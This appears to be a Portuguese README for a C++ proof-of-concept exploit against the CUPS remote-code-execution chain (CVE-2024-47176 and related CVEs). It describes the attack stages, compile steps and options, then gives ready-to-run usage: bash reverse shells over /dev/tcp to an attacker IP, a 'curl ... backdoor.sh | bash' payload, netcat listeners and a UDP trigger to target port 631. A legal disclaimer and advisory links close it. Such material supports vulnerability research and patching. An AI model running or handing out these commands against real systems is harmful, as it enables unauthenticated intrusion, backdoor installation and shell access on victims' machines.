
Exploit em C++ para execução remota de código não autenticada no CUPS via cadeia CVE-2024-47176.
Um exploit de prova de conceito totalmente funcional visando a cadeia de vulnerabilidade de execução remota de código do CUPS (Common Unix Printing System) descoberta em Setembro de 2024. Esta cadeia consiste em quatro CVEs — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, e CVE-2024-47177 — que juntas permitem que um atacante remoto não autenticado execute comandos arbitrários em qualquer sistema Linux rodando uma versão vulnerável do CUPS.
O exploit implanta um servidor IPP (Internet Printing Protocol) malicioso que imita uma impressora de rede. O ataque se desenrola em quatro estágios:
Estágio 1 — Gatilho de Descoberta Um pacote UDP manipulado é enviado para a porta 631 do alvo. O daemon cups-browsed confia neste pacote sem autenticação e inicia uma conexão TCP de volta ao servidor IPP do atacante para buscar atributos da impressora.
Estágio 2 — Entrega de PPD Malicioso O servidor IPP do atacante responde com atributos de impressora que contêm dados não sanitizados. Esses dados fluem através de libcupsfilters e libppd que falham ao validar ou sanitizar a entrada, permitindo que uma diretiva maliciosa FoomaticRipCommandLine seja inserida em um arquivo PPD.
Estágio 3 — Injeção de Comando Quando um trabalho de impressão é enviado para a impressora controlada pelo atacante (automaticamente ou por ação do usuário), o filtro foomatic-rip processa o arquivo PPD e executa o comando injetado com os privilégios do usuário lp.
Estágio 4 — Execução do Payload O comando injetado é executado no sistema alvo. Payloads comuns incluem shells reversos, instalação de backdoor, exfiltração de dados ou preparação para escalonamento de privilégios.
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
A maioria das distribuições Linux foram fornecidas com versões afetadas até os patches do final de 2024.
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Nenhuma dependência externa. Compila em qualquer distribuição Linux com g++.
./cups_rce_exploit -l <ATTACKER_IP> -r [options]
-l, --listener Endereço IP do atacante para o servidor IPP malicioso -r, --reverse Comando a executar no alvo, ou caminho para um arquivo de script -t, --target IP da máquina alvo (envia pacote UDP de gatilho automaticamente) -p, --port Porta para o servidor IPP malicioso (padrão: 631) -s, --spoof Nome de falsificação da impressora (padrão: VulnPrinter) -T, --target-port Porta UDP do alvo (padrão: 631) -h, --help Mostrar mensagem de ajuda
Terminal 1 — inicie o listener: nc -lvnp 4444
Terminal 2 — execute o exploit: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
Terminal 1 — inicie o servidor: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
Terminal 2 — envie gatilho UDP para o alvo: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
Passo 1: Configure um listener netcat na sua máquina atacante nc -lvnp 4444
Passo 2: Compile o exploit g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Passo 3: Execute o exploit contra o alvo ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
Passo 4: Se um usuário na máquina alvo imprimir uma página de teste ou qualquer documento na impressora maliciosa, você receberá um shell reverso como o usuário lp.
AVISO LEGAL
Este software é fornecido apenas para fins educacionais e de pesquisa. Destina-se a ajudar profissionais de segurança, testadores de penetração e administradores de sistemas a entender, detectar e se defender contra as vulnerabilidades descritas.
O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito para testar é ilegal e pode violar o Computer Fraud and Abuse Act (CFAA), o Computer Misuse Act e leis similares em outras jurisdições.
Casos de uso autorizados incluem avaliações de segurança em sistemas que você possui, testes de penetração com autorização por escrito, programas de bug bounty com escopo explícito, pesquisa acadêmica em ambientes de laboratório controlados e competições CTF.
O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado por este software. Os usuários são os únicos responsáveis pelo cumprimento de todas as leis aplicáveis e pela obtenção da devida autorização antes de testar.
Ao usar este software, você aceita estes termos.
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org